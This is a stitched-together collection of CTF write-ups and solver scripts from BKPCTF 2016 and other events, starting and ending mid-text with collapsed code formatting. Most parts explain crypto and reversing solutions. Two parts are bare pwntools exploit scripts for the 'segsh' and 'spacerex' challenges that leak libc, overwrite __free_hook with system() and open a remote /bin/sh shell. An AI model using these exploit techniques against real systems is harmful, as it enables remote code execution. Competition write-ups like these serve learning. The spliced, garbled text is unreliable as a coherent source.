The last step was to figure out how long is the key. We used the assumption that te key is ascii text so does not have high bits set to 1, and therefore the first lighted highest bit marks the index at which we must have started using key extension. This means that the key can be at most that long. Then we extracted all potential keys of length from 2 to the index we found, with the code:
```pythondef test(KEY_LEN): out = []
for i in range(len(inp)): new = 1 if (ord(inp[i]) & 0x80) != 0 else 0 out.append(new)
res = '' for i in range(KEY_LEN): bits = out[i::KEY_LEN] bitstr = ''.join(str(x) for x in bits) res += chr(int(bitstr[:8], 2)) return res```
This way for key length 21 we got `weplayctfoutofpassion`. We used it in the original javascript script to decode the input ciphertext:
```javascriptkey = "weplayctfoutofpassion";input = '51136f3b763d7d5e5910106d423f0908093931284bc6eda1a4ffa595c390b390ef89a4a08ffb9797a2b797f5af92b7a0aaac9cf2dbf9ccecd5c8b3cbb9fffefa4fcf0c26d761f9145793fb6a44ed048cb92a1c0f420e3af756d66f2d1ee94414ed335f180b34fca1fda4f9698a23287ca9e9acb2e8b7c0216c132c078c93a438217e0927ce1afbcf016fd7cc6b1f8b903ec3c0a19f723ae5c0fa46679ded50d17259f89688a5ff4340784a155d'console.log(proceed(input, key, 'decrypt'));```
Which gave us:
`Awesome work, you should now have just one left to go unless you selected randomly. I m giving you the flag: 1112fc63b939ab8b22a2b6995ba0be95. Enjoy the rest of the journey!` |
# BKPCTF 2016: ltseorg
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| BKPCTF | ltseorg | Crypto | 4 |
### Description> make some (charlie)hash collisions! ltseorg.bostonkey.party 5555 [https://s3.amazonaws.com/bostonkeyparty/2016/a531382ad51f8cd2b74369e2127e11dfefb1676b.tar](challenge)
## Write-up
The challenge consists of two scripts (one in ruby and one in python) the former of which simply serves to pass input to the second. The second script check whether two input strings passed to it are non-equal but have identical hashes (ie. have a collision) for a custom hash function.
```pythondef check(hashstr1, hashstr2): hash1 = binascii.unhexlify(hashstr1);hash2 = binascii.unhexlify(hashstr2) if hashstr1 == hashstr2 or hash1 == hash2: return False elif hash(hash1) == hash(hash2): return True return False```
As the name suggests (ltseorg is [groestel](https://en.wikipedia.org/wiki/Gr%C3%B8stl) backwards) the custom hash is based on the Grostl hashing algorithm:
```python# March-15: After 23 tries I think we fixed the issue with the IV.IV = binascii.unhexlify("696c61686773726c7177767576646968")
BLOCK_SIZE = 16
key1 = ["00" for x in xrange(32)]; key1[0] = "11";key1 = binascii.unhexlify("".join(key1))key2 = ["00" for x in xrange(32)]; key2[0] = "FF";key2 = binascii.unhexlify("".join(key2))
P = AES.new(key1, AES.MODE_ECB)Q = AES.new(key2, AES.MODE_ECB)
def pad_msg(msg): while not (len(msg) % 16 == 0): msg+="\x00" return msg
def xor(str1, str2): out = [] for i in xrange(len(str1)): out.append( chr(ord(str1[i])^ord(str2[i])) ) return "".join(out)
# "Pretty much" Grostl's provably secure compression function assuming ideal ciphers # Grostl pseudo-code is: h = P(m + h) + h + Q(m) and this is basically the same thing, right? # Ltsorg pseudo-code: h = P(m + h) + m + Q(h)def compress(m, h): return xor( xor( P.encrypt( xor(m, h) ), m), Q.encrypt(h) )
def finalization(m, h): return xor(m, h)[0:14]
def hash(msg): msg=pad_msg(msg) # groestl's IV was boring h = IV
for i in xrange(0, len(msg), BLOCK_SIZE): m = msg[i: i+BLOCK_SIZE] h = compress(m ,h) return finalization(m, h)```
The prime difference between this algorithm and Grostl proper lies in the compression function. Whereas Grostl's compression function pseudo-code is `h = P(m + h) + h + Q(m)` the compression function used by this algorithm is `h = P(m + h) + m + Q(h)`. As sarcastically hinted at by the comments this is not the same at all as in the latter function an attacker has full control over `m` (as opposed to `h` in the case of Grostl's compression function) which allows us to gain some limited control over the intermediate digest allowing for collisions. Consider the ltsorg compression function `P(m0 + h) + m0 + Q(h)` for the first block of a message where `h = IV` then if we set this block to `m0 = (Pinv(Q(h)) + h)` the resulting intermediate digest will be `P((Pinv(Q(h)) + h) + h) + (Pinv(Q(h)) + h) + Q(h) = (Pinv(Q(h)) + h)` ie. the intermediate digest is equal to the input block. Now consider two messages, the first consisting of a single block m00 and the second of two blocks [m10, m11]. If we set `m00 = (Pinv(Q(IV)) + IV)` the corresponding digest `h00 = (Pinv(Q(IV)) + IV)`. Since the finalization function performs `xor(m, h)[0:14]` we effectively XOR the final input block with its own intermediate digest to obtain the final digest, the result of which will be an all-zero hash digest if both are equal. As such we can set `m10 = (Pinv(Q(IV)) + IV) = h10` and `m11 = (Pinv(Q(h10)) + h10)` resulting in two different messages with identical hash digests as generated by our [solution script](solution/ltseorg_crack.py):
```pythonb0 = xor(P.decrypt(Q.encrypt(IV)), IV)h0 = compress(b0, IV)b1 = xor(P.decrypt(Q.encrypt(h0)), h0)
input1 = b0.encode('hex')input2 = (b0 + b1).encode('hex')
assert check(input1, input2)
print input1print input2```
Running it gives us:
```bashnc ltseorg.bostonkey.party 5555gimme str 131f6a1e65472588fab17aadb5e4cdd47gimme str 231f6a1e65472588fab17aadb5e4cdd47723ac6e07026831b6a672f34e586281bBKPCTF{really? more crypto?}``` |
## QR Puzzle: Web (Unknown, 400p)
Solve the slide puzzle and decode the QR code. http://puzzle.quals.seccon.jp:42213/slidepuzzle
###PL[ENG](#eng-version)
Podobnie jak w poprzednich QR Puzzle dostajemy QR code i mamy go rozwiązać. Tym razem problemem jest to, że brakuje fragmentu kodu.
![](screen.png)
Z czasem zadania robią się coraz trudniejsze - na początku brakuje zawsze prawego dolnego rogu kodu, później również krawędzi, później środka, a na końcu może brakować również innego rogu (co okazało się problematyczne).Dość oczywisty jest cel zadania - należy napisać program który złoży taki QR code, rozwiąże go, oraz wyśle do programu.
Wykorzystaliśmy do tego solver z poprzedniego zadania QR Puzzle, jedynie nieznacznie musieliśmy przerobić funkcje pobierającą obrazki z ekranu, oraz nie wysyłaliśmy rozwiązań a przeklejaliśmy ręcznie.
Kodu jest za dużo by omawiać go funkcja po funkcji, ale działa prawie identycznie jak w zadaniu [QR puzzle: Windows](https://github.com/p4-team/ctf/tree/master/2015-12-05-seccon/qr_windows_200) - ma jedynie kilka poprawek.
Flaga:
SECCON{U_R_4_6R347_PR06R4MM3R!}
### ENG version
We are given qr code, and we have to unscramble it - just like in earlier qr puzzle challenge. It's harder now, because there is much more fragments, and one piece is missing.
![](screen.png)
Qr codes are getting harder with time - at the beggining missing piece is always lower right corner, but later we can expect also missing edge, missing central piece, or even missing another corner (worst case scenario).It's obvious what task authors are expecting from us - we kave to write program that assembles such QR code, solve it, and then sends it to server.
We used our solver from previons challenge - we only had to slightly rework function that captured qr code, and we didn't sent solutions automatically (it had to be done manually).
There is too much code to go through it function by function, but it is almost identical as in [QR puzzle: Windows](https://github.com/p4-team/ctf/tree/master/2015-12-05-seccon/qr_windows_200) challenge - we only fixed few minor things.
Flag:
SECCON{U_R_4_6R347_PR06R4MM3R!} |
# Exp90
## Description```We are given an IP address and a port to connect to, upon connecting we juste have a greeting message and what seems to be an interepreter```
## Solution
After poking around, we could see that the interpreter did not have a straightforward behavior.The error messages seemed to indicate that it was a javascript interpreter (most likely node.js).
We first tried to do some simple variable declaration such as a=2. After testing many things it appeared to us that the interpreter was reading backwards and only took some characters to form the string to evaluate.
For example in order to declare a=2, you would need to input 22==aa
Knowing that it was most likely node.js and the previous challenges had flag.txt file in the same directory we tried to read the file
In node.js this would be equivalent to:
```fs=require('fs')a=fs.readFileSync('flag.txt')```
We did not script anything or tried to get the formula used by the interpreter, instead we what we did is try to supply an integer that was interpreted to a number with as many digits as the number of chars in what wanted to be interpreted. And from that, we replaced the number that were output by the letters:
We ended up with the following
```fs=require('fs') => )'sf45678'01234(67890e23456r89012i45678u01234q67890e23456r89012=45678s01234f67890a=fs.readFileSync('flag.txt') => 'txtt5678.01234g67890a23456l89012f45678'01234(67890c23456n89012y45678S01234e67890l23456i89012F45678d01234a67890e23456r89012.45678s01234f67890=23456a01234```
## Results```Welcome and have fun!$)'sf45678'01234(67890e23456r89012i45678u01234q67890e23456r89012=45678s01234f67890{ Stats: [Function], F_OK: 0, R_OK: 4, W_OK: 2, X_OK: 1, access: [Function], accessSync: [Function], exists: [Function], existsSync: [Function], readFile: [Function], readFileSync: [Function], close: [Function], closeSync: [Function], open: [Function], openSync: [Function], read: [Function], readSync: [Function], write: [Function], writeSync: [Function], rename: [Function], renameSync: [Function], truncate: [Function], truncateSync: [Function], ftruncate: [Function], ftruncateSync: [Function], rmdir: [Function], rmdirSync: [Function], fdatasync: [Function], fdatasyncSync: [Function], fsync: [Function], fsyncSync: [Function], mkdir: [Function], mkdirSync: [Function], readdir: [Function], readdirSync: [Function], fstat: [Function], lstat: [Function], stat: [Function], fstatSync: [Function], lstatSync: [Function], statSync: [Function], readlink: [Function], readlinkSync: [Function], symlink: [Function], symlinkSync: [Function], link: [Function], linkSync: [Function], unlink: [Function], unlinkSync: [Function], fchmod: [Function], fchmodSync: [Function], chmod: [Function], chmodSync: [Function], fchown: [Function], fchownSync: [Function], chown: [Function], chownSync: [Function], _toUnixTimestamp: [Function: toUnixTimestamp], utimes: [Function], utimesSync: [Function], futimes: [Function], futimesSync: [Function], writeFile: [Function], writeFileSync: [Function], appendFile: [Function], appendFileSync: [Function], watch: [Function], watchFile: [Function], unwatchFile: [Function], realpathSync: [Function: realpathSync], realpath: [Function: realpath], createReadStream: [Function], ReadStream: { [Function: ReadStream] super_: { [Function: Readable] ReadableState: [Function: ReadableState], super_: [Object], _fromList: [Function: fromList] } }, FileReadStream: { [Function: ReadStream] super_: { [Function: Readable] ReadableState: [Function: ReadableState], super_: [Object], _fromList: [Function: fromList] } }, createWriteStream: [Function], WriteStream: { [Function: WriteStream] super_: { [Function: Writable] WritableState: [Function: WritableState], super_: [Object] } }, FileWriteStream: { [Function: WriteStream] super_: { [Function: Writable] WritableState: [Function: WritableState], super_: [Object] } } }$)'txtt5678.01234g67890a23456l89012f45678'01234(67890c23456n89012y45678S01234e67890l23456i89012F45678d01234a67890e23456r89012.45678s01234f67890=23456a01234<Buffer 49 57 7b 53 68 6f 63 6b 65 64 2d 66 6f 72 2d 6e 6f 74 68 69 6e 67 21 7d>
echo '49 57 7b 53 68 6f 63 6b 65 64 2d 66 6f 72 2d 6e 6f 74 68 69 6e 67 21 7d' | xxd -r -pIW{Shocked-for-nothing!}``` |
#thread mem:# 00000-02000:---:ldt2:#1. 00000-02000:RWX:Text:CC# 02000-14000:---:ldt0:ds,es,fs#2. 12000-14000:RW-:Data# 14000-1C000:RWX:????# 1C000-2C000:RWX:ldt1:ss#3. 24000-2C000:RW-:Stack
# ecx translation# 00000-08000:Code, disallowed# 08000-10000:Stack + ecx - 8000# 10000- :Data + ecx - 10000
# [0] ld [0] ; jt = 0; jf = 0; k = 0;# [1] je #3, l2, l3 ; jt = 0; jf = 1; k = 3;# [2] ret SECCOMP_RET_ALLOW ; jt = 0; jf = 0; k = 0x7FF00000;# [3] je #4, l4, l5 ; jt = 0; jf = 1; k = 4;# [4] ret SECCOMP_RET_ALLOW ; jt = 0; jf = 0; k = 0x7FF00000;# [5] je #1, l6, l7 ; jt = 0; jf = 1; k = 1;# [6] ret SECCOMP_RET_ALLOW ; jt = 0; jf = 0; k = 0x7FFF0000;# [7] ret SECCOMP_RET_KILL ; jt = 0; jf = 0; k = 0
from pwn import *
#s = process(['./segsh', '99999'])s = remote('segsh.bostonkey.party', 8888)
s.recvuntil('__')s.sendline('install -i echo')
s.recvuntil('__')s.sendline('exec -e echo')s.recvuntil('string: ')
exit = 0x10syscall = 0x15g1 = 0x69 # pop eax; pop ebx; pop edx; pop ecx; leave; ret;pread = 0x6fpwrite = 0x4dleave = 0x4b
#gdb.attach(s)
def read(offset, size=0x1000): p = '\xcc' * (1016) p += p32(0xa000) # ebp p += p32(pwrite) p += p32(0) p += p32(offset, sign='signed') # data p += p32(size) # len p += 'POOP'
s.send(p) s.recvuntil('POOP') data = s.recvn(size) #print repr(s.recvuntil('string: ')) return data
def write(offset, data): p = '\xcc' * (1016) p += p32(0xa000) # ebp p += p32(pread) p += p32(0) # ret p += p32(offset, sign='signed') # data p += p32(len(data)) # len p += 'CACA'
s.send(p) sleep(0.1) s.send(data) s.recvuntil('CACA')
# Found those adress through previous memory scanningbase = 0x1f6000libc_base = 0x1b000
libc_free = u32(read(base+0x4F94, 0x4))libc = libc_free - 0x76C60print(hex(libc))
# Rewrite package description to "/bin/sh"write(base+0x5018, p32(libc + 0x160A24))# Rewrit __free_hook to system()write(libc_base + 0x1AB8D8, p32(libc + 0x40190))s.sendline('cya')s.recvuntil('__')s.sendline('install -i hello')s.recvuntil('__')s.sendline('uninstall -u hello')sleep(0.5)s.interactive() |
# BKPCTF 2016: unholy
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| BKPCTF | unholy | Reversing | 4 |
### Description> python or ruby? why not both! [https://s3.amazonaws.com/bostonkeyparty/2016/9c2b8593c64486de25698fcece7c12fa0679a224.tar.gz](challenge)
## Write-up
We are given a ruby script and an accompanying dynamic library which together validate a flag:
```rubyrequire_relative 'unholy'include UnHolypython_hiputs ruby_hiputs "Programming Skills: PRIMARILY RUBY AND PYTHON BUT I CAN USE ANY TYPE OF GEM TO CONTROL ANY TYPE OF SNAKE"puts "give me your flag"flag = gets.chomp!arr = flag.unpack("V*")is_key_correct? arr```
We can see our input being consumed as a string and converted to an array of 4-byte DWORD values which are passed to `is_key_correct`. Let's take a look at `is_key_correct` in `unholy.so`:
```signed __int64 __fastcall method_check_key(VALUE self, VALUE arr){ unsigned __int64 v2; // rax@1 int v3; // eax@2 __int64 index; // r12@5 __int64 arval; // rax@6 int v6; // eax@7 __int64 mindex; // rdi@10 unsigned int sum; // er8@11 __int64 v9; // rdx@11 __int64 v10; // rax@11 uint32_t v11; // er9@12 __int64 v12; // rbx@16 uint32_t key[4]; // [sp+8h] [bp-13E0h]@4 uint32_t matrix[10]; // [sp+18h] [bp-13D0h]@9 char stacker[5000]; // [sp+40h] [bp-13A8h]@15 __int64 v17; // [sp+13C8h] [bp-20h]@1
v17 = *MK_FP(__FS__, 40LL); v2 = *(_QWORD *)arr; if ( BYTE1(v2) & 0x20 ) v3 = (v2 >> 15) & 3; else v3 = *(_DWORD *)(arr + 16); key[0] = 'tahw'; key[1] = 'iogs'; key[2] = 'nogn'; key[3] = 'ereh'; if ( v3 == 9 ) { index = 0LL; do { LODWORD(arval) = rb_ary_entry(arr, index); if ( arval & 1 ) v6 = rb_fix2int(arval); else v6 = rb_num2int(arval); matrix[index++] = v6; } while ( index != 9 ); matrix[9] = 0x61735320; mindex = 0LL; do { sum = 0; LODWORD(v9) = *(_QWORD *)&matrix[mindex]; v10 = *(_QWORD *)&matrix[mindex] >> 32; do { v11 = sum + key[(unsigned __int64)(sum & 3)]; sum -= 0x61C88647; v9 = (v11 ^ ((16 * (_DWORD)v10 ^ ((unsigned int)v10 >> 5)) + (_DWORD)v10)) + (unsigned int)v9; v10 = ((sum + key[(unsigned __int64)((sum >> 11) & 3)]) ^ ((16 * (_DWORD)v9 ^ ((unsigned int)v9 >> 5)) + (_DWORD)v9)) + (unsigned int)v10; } while ( sum != 0xC6EF3720 ); *(_QWORD *)&matrix[mindex] = v9 | (v10 << 32); mindex += 2LL; } while ( mindex != 0xA ); if ( matrix[9] == 0x4DE3F9FD ) { __sprintf_chk( stacker, 1LL, 5000LL, "exec \"\"\"\\nimport struct\\ne=range\\nI=len\\nimport sys\\nF=sys.exit\\nX=[[%d,%d,%d],[%d,%d,%d],[%d,%d,%d]]\\" "nY = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947 ,984328,38423942839]]\\nn=[5034563854941868" ",252734795015555591,55088063485350767967,-2770438152229037,142904135684288795,-33469734302639376803,-36335073107" "95117,195138776204250759,-34639402662163370450]\\ny=[[0,0,0],[0,0,0],[0,0,0]]\\nA=[0,0,0,0,0,0,0,0,0]\\nfor i in" " e(I(X)):\\n for j in e(I(Y[0])):\\n for k in e(I(Y)):\\n y[i][j]+=X[i][k]*Y[k][j]\\nc=0\\nfor r in y:\\n for" " x in r:\\n if x!=n[c]:\\n print \"dang...\"\\n F(47)\\n c=c+1\\nprint \":)\"\\n\"\"\"", matrix[0], matrix[1]); Py_Initialize(stacker); PyRun_SimpleStringFlags(stacker, 0LL); Py_Finalize(stacker, 0LL); } } v12 = *MK_FP(__FS__, 40LL) ^ v17; return 8LL;}```
The above function performs some checks on the ruby array structure (eg. checking whether it has 9 entries, hinting at an expected input size of 9*4 = 36) before ordering the ruby array into a 3x3 matrix structure (represented as a 1-dimensional array to which 0x61735320 is appended). This matrix is then pulled through an as-of-yet unidentified series of arithmetic operations which then checks whether the final DWORD in the in-place permutated matrix is 0x4DE3F9FD. If so, the first 9 fields of the 3x3 matrix are format-printed to an embedded python program which checks whether the resulting matrix (after some matrix arithmetic) matches an embedded verification matrix.
This last bit allows us to work our way back to the input from the verification matrix by simply taking the input matrix `X` as an unknown and lazily represent the problem as a constraint-based programming problem which we can feed to eg. Z3. The resulting matrix will be the expected output of the 'mystery' arithmetic routine which we will have to invert to obtain our actual flag. A keen crypto eye will have already spotted the constants 0xC6EF3720 and 0x61C88647 which are, respectively, the sum and delta values of the XTEA block cipher. Since 0x61C88647 is the 2's complement representation of -0x9E3779B9 this effectively makes sum -= 0x61C88647 identical to sum += 0x9E3779B9 indicating we are dealing with the XTEA cipher encrypting our flag in ECB mode. A little bit of further reverse-engineering can spot the hardcoded XTEA key `whatsgoingonhere`.
So we are left with finding the input matrix `X` and decrypting it using XTEA-ECB with key `whatsgoingonhere` which our [solution script](solution/unholy_crack.py) does as follows:
```python#!/usr/bin/python## BKPCTF 2016# unholy (REVERSING/4)## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday#
import xteafrom z3 import *from struct import unpack, pack
def get_blocks(data, block_size): return [data[i:i+block_size] for i in range(0, len(data), block_size)]
def solve_matrix_system(): s = Solver()
Y = [[383212,38297,8201833],[382494 ,348234985,3492834886],[3842947 ,984328,38423942839]] n = [[5034563854941868,252734795015555591,55088063485350767967],[-2770438152229037,142904135684288795,-33469734302639376803],[-3633507310795117,195138776204250759,-34639402662163370450]] A = [0,0,0,0,0,0,0,0,0]
X = [[BitVec(0,32), BitVec(1,32), BitVec(2,32)], [BitVec(3,32), BitVec(4,32), BitVec(5,32)], [BitVec(6,32), BitVec(7,32), BitVec(8,32)]]
for i in xrange(3): for j in xrange(len(Y[0])): s.add(n[i][j] == ((X[i][0]*Y[0][j]) + (X[i][1]*Y[1][j]) + (X[i][2]*Y[2][j])))
if (s.check() == sat): print "[*] Matrix problem satisfiable, solving..." sol_model = s.model() R = [[0,0,0], [0,0,0], [0,0,0]] for i in xrange(3): for j in xrange(3): R[i][j] = sol_model[X[i][j]].as_long() return R else: print "[-] Matrix problem unsatisfiable :(" return []
def xtea_decrypt_matrix(matrix): # whatsgoingonhere key = [0x74616877, 0x696F6773, 0x6E6F676E, 0x65726568] k = ''.join([pack('>I', x) for x in key])
m = []
# convert python matrix for i in xrange(3): for j in xrange(3): m.append(matrix[i][j])
# last ciphertext block used for validation m.append(0x4DE3F9FD) # known plaintext last block for validation kp = pack('<I', 0x61735320)
c = ''.join([pack('>I', x) for x in m]) cipher = xtea.new(k, mode=xtea.MODE_ECB) p1 = cipher.decrypt(c)
# reorder blocks blocks = get_blocks(p1, 4) p1 = ''.join([b[::-1] for b in blocks])
# validate plaintext if(p1[-len(kp):] == kp): return p1 else: return ''
matrix = solve_matrix_system()print "[+] Matrix solution:", matrixp = xtea_decrypt_matrix(matrix)if (p != ''): print "[+] Found correct plaintext: [%s]" % pelse: print "[-] Incorrect plaintext :("```
Which gives us:
```bash$ ./unholy_crack.py[*] Matrix problem satisfiable, solving...[+] Matrix solution: [[2990080719L, 722035088, 1368334760], [1473172750, 412774077, 3386066071L], [3804000291L, 563111828, 3342378109L]][+] Found correct plaintext: [BKPCTF{hmmm _why did i even do this} Ssa]``` |
# 1. Leak heap address with star compositions tables# 2. Create new moon with fake pool header# 3. Create planet using fake pool header# 4. Corrupt planet to read anywhere# 5. Use pool header to write libc's __free_hook to magic execv(/bin/sh) address
from pwn import *#s = process(['./spacerex', '99999'])s = remote('spacerex.bostonkey.party', 6666)s.recvuntil('__')
####### Leak dataimport reimport struct
TALLOC_SZ = 12*8
def parse_composition(inp): data = '' for l in inp.split('\n'): for c in re.split('[\s%]+', l)[1:]: if not c: continue data += chr(int(c)) return data
# Create stars.sendline('1')s.sendline('SA_Name')s.sendline('0')s.sendline('10000')s.sendline('1')# Create planets.sendline('PAA_Name')s.sendline('PAA_Const')s.sendline('1')s.sendline('3735928559')s.sendline('1')s.sendline('10000')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('100')s.sendline('M')s.sendline('1')s.sendline('1')s.sendline('MAAA')s.recvuntil('__')
s.sendline('1')s.sendline('/bin/sh')s.sendline('0')s.sendline('10000')s.sendline('0')s.recvuntil('__')
# Leak datas.sendline('6')s.sendline('SA_Name')s.sendline('5')s.sendline('-1')s.recvuntil('-----\n')types = s.recvuntil('-----\n').strip()s.sendline('y')s.recvuntil('------\n')composition = s.recvuntil('\n\n').strip()s.recvuntil('__')
leak = parse_composition(composition)magnitude_off = leak.index(struct.pack('d', 0xdeadbeef))moon0_off = magnitude_off + 0x30moon_addr = u64(leak[moon0_off:moon0_off+8])planet_name_addr = moon_addr + ( leak.index('PAA_Name') - leak.index('MAAA')) + 0x8planet_addr = moon_addr + ( magnitude_off - leak.index('MAAA')) - 0x18star_name_addr = moon_addr + ( leak.index('/bin/sh') - leak.index('MAAA')) + 0x8print 'Star name addr: ', hex(planet_name_addr)print 'Planet name addr: ', hex(planet_name_addr)print 'Planet addr: ', hex(planet_addr)print 'Moon addr: ', hex(moon_addr)
# New planet with pool to fake chunks.sendline('6')s.sendline('PAB_Name')s.sendline('PAB_Const')s.sendline('1')s.sendline('1')s.sendline('1')s.sendline('10000')s.sendline('1')s.sendline('100')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('0')s.sendline('R')s.sendline(str(moon_addr+0x70))s.recvuntil('__')
# Create fake chunkdef set_pool(addr): s.sendline('4') s.sendline('PAA_Name') s.sendline('MAAA') s.sendline('0') chunk = 'MAAA\x00\x00\x00\x00' #[Next|Prev|Parent|Child|refs|dtors|name|size|flag|limit|pool] chunk += p64(0) # Next chunk += p64(0) # Prev chunk += p64(0) # Parent chunk += p64(0) # Child chunk += p64(0) # Refs chunk += p64(0) # Dtors chunk += p64(0) # Name chunk += p64(0) # Size chunk += p64(0xe814ec70 + (2<<12) | 8) # Flag chunk += p64(0) # Limit chunk += p64(moon_addr + 0x68) # Pool
chunk += p64(addr) # end chunk += p64(0) # object_count chunk += p64(0xffffffff) # poolsize s.sendline(chunk) s.recvuntil('__')
def set_fakemoon(data): s.sendline('3') s.sendline('PAB_Name') s.sendline('0') s.sendline(data)
def get_planet_name(n): s.sendline('7') s.recvuntil('system -\n') d = s.recvuntil('\n\n') s.recvuntil('__') return d[2:].split('POOP\x1b[0m ')[0]
print hex(moon_addr)fake_moon = 'MABA\x00\x00\x00\x00' + p64(planet_name_addr) + \ 'POOP\x00\x00\x00\x00' + p64(planet_addr+8)set_pool(planet_addr - TALLOC_SZ - 0x10)set_fakemoon(fake_moon + p64(planet_addr + 8))s.recvuntil('__')
@memleak.MemLeakdef leak(addr): if '\n' in p64(addr): print 'Danger!' return '' s.sendline('4') s.sendline('PAB_Name') s.sendline('MABA') s.sendline('0') payload = fake_moon + p64(addr) payload += '\x00' * (0x58 - len(payload)) + p64(moon_addr) s.sendline(payload) s.recvuntil('__')
data = get_planet_name(0) if len(data) > 4: return data + '\x00' * (8-len(data)) else: return data + '\x00'
alarm = 0xc0cd0target = 0xE58C5
star = star_name_addr + 0x190 - TALLOC_SZ - 0x280print hex(star)color = leak.q(star+TALLOC_SZ+0x38)base = color - 0x40C0print 'Base addr:', hex(base)talloc = leak.q(base + 0x0205FB0) - 0x1E20print 'talloc addr:', hex(talloc)libc = leak.q(base + 0x205F78) - alarmprint 'libc addr:', hex(libc)system = libc + targetlibc_freehook = libc + 0x3C0A10 - 0x10print 'hook', hex(libc_freehook)
set_pool(libc_freehook - TALLOC_SZ - 8)set_fakemoon('\x00'*16+p64(system))s.recvuntil('__')
s.sendline('2')#gdb.attach(s, execute='b *'+hex(system))s.sendline('PAB_Name')sleep(0.5)s.sendline('cat /home/spacerex/flag')s.interactive()
|
# Writeup for hmac_crc CRYPTO (5)
> We're trying a new mac here at BKP---HMAC-CRC. The hmac (with our key) of "zupe zecret" is '0xa57d43a032feb286'. What's the hmac of "BKPCTF"? https://s3.amazonaws.com/bostonkeyparty/2016/0c7433675c3c555afb77271d6a549bf5d941d2ab
original script can be downloaded below
[0c7433675c3c555afb77271d6a549bf5d941d2ab](0c7433675c3c555afb77271d6a549bf5d941d2ab)
We are given a hmac functions which takes hash function, message and key as input and gives sign of the message They give us the message and sign of this message using unknown key and we are supposed to sign another given message using the same key
code of signing function:
```pythonCRC_POLY = to_bits(65, (2**64) + 0xeff67c77d13835f7)CONST = to_bits(64, 0xabaddeadbeef1dea)
def crc(mesg): mesg += CONST shift = 0 while shift < len(mesg) - 64: if mesg[shift]: for i in range(65): mesg[shift + i] ^= CRC_POLY[i] shift += 1 return mesg[-64:]
INNER = to_bits(8, 0x36) * 8OUTER = to_bits(8, 0x5c) * 8
def hmac(h, key, mesg): return h(xor(key, OUTER) + h(xor(key, INNER) + mesg))```
I was thinking about this algorithm and I came to the conclusion that when we flip one bit in key, all bits of the output depending on this bit also flip with no matter of other bits in key
another words when we have a message msg and two different keys: key1 and key2
hmac(h,key1,msg) xor hmac(h,key1 with flipped bit x) = hmac(h,key2,msg) xor hmac(h,key2 with flipped bit x)
this means that hmac is linear
We can gather all positions of changed bits in sign when bit at position x in key will change for the given message
I used gauss-jordan algorithm to compute which bits in key need to flip if I want flip one bit in sign at given position
I created my own pair key,sign for given message and I was looking which bits are different
when some bit was different I xored my key with bits I computed using gauss-jordan and I got needed key
my code is below
[crypto1.py](crypto1.py)
put to file key.txt some 8B hex digit without '0x'
|
There was given following hmac function:
```pythonCRC_POLY = to_bits(65, (2**64) + 0xeff67c77d13835f7)CONST = to_bits(64, 0xabaddeadbeef1dea)
def crc(mesg): mesg += CONST shift = 0 while shift < len(mesg) - 64: if mesg[shift]: for i in range(65): mesg[shift + i] ^= CRC_POLY[i] shift += 1 return mesg[-64:]
INNER = to_bits(8, 0x36) * 8OUTER = to_bits(8, 0x5c) * 8
def hmac(h, key, mesg): return h(xor(key, OUTER) + h(xor(key, INNER) + mesg))```
Given string "zupe zecret", that gives hmac: 0xa57d43a032feb286, task was to find hmac for a string "BKPCTF".So we need to find a key.
Let's start by rewriting hmac function a bit, "||" is concatenation:```HMAC(KEY, m) = CRC( (KEY xor O) || CRC( (KEY xor I) || m))```
PRE and POST inverts are 0 in crc, so we *COULD* rewrite inner CRC as a polynomial mod `CRC_POLY`, *normally* it would be```M = len(m) * 8 -- length of message m in bitsCRC( (K xor I) || m) = m*x^64 + K*x^(64+M) + I*x^(64+M) mod CRC_POLY```but you need to notice, that there is `CONST` added right at the beginning, to the polynomial actually looks like:```CRC( (K xor I) || m) = m*x^64 + K*x^(64+M) + I*x^(64+M) + CONST mod CRC_POLY```
Now we can rewrite whole HMAC as a polynomial:```HMAC(key, m) = m*x^128 + K*x^(128+M) + I*x^(128+M) + CONST*x^64 + K*x^128 + O*x^128 + CONST mod CRC_POLY```
Since we know HMAC (0xa57d43a032feb286), let's move most of the things:```K*(x^(128+M) + x^128) = HMAC(key, m) - ( m*x^128 + I*x^(128+M) + O*x^128 + CONST*x^64 + CONST) mod CRC_POLY```
We can calculate right side without any problems.Luckily `gcd(CRC_POLY, x^(128+M) + x^128)) == 1`, so our solution for key is given by:
```K = (right part) * inverse( x^(128+M) + x^128 ) mod CRC_POLY```
You can read more about arithmetic on wikipedia: https://en.wikipedia.org/wiki/Finite_field_arithmetic |
[](ctf=internetwasche-ctf-2016)[](type=reverse)[](tags=prime,fraction,fractran,math)[](tools=hopper,gdb)[](techniques=)
# Alewife reverse-5
We are given
```bash$ file 05223a3cae8b71d81592d5977fb1c3622bcbf79305223a3cae8b71d81592d5977fb1c3622bcbf793: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4d814d0167c1c0732e8fdf0e25c368c61d6b27d, not stripped```
I throw it at hopper. Since it is not stripped it gets easily decompiled with all its variable names to [this](05223a3cae8b71d81592d5977fb1c3622bcbf793.c).
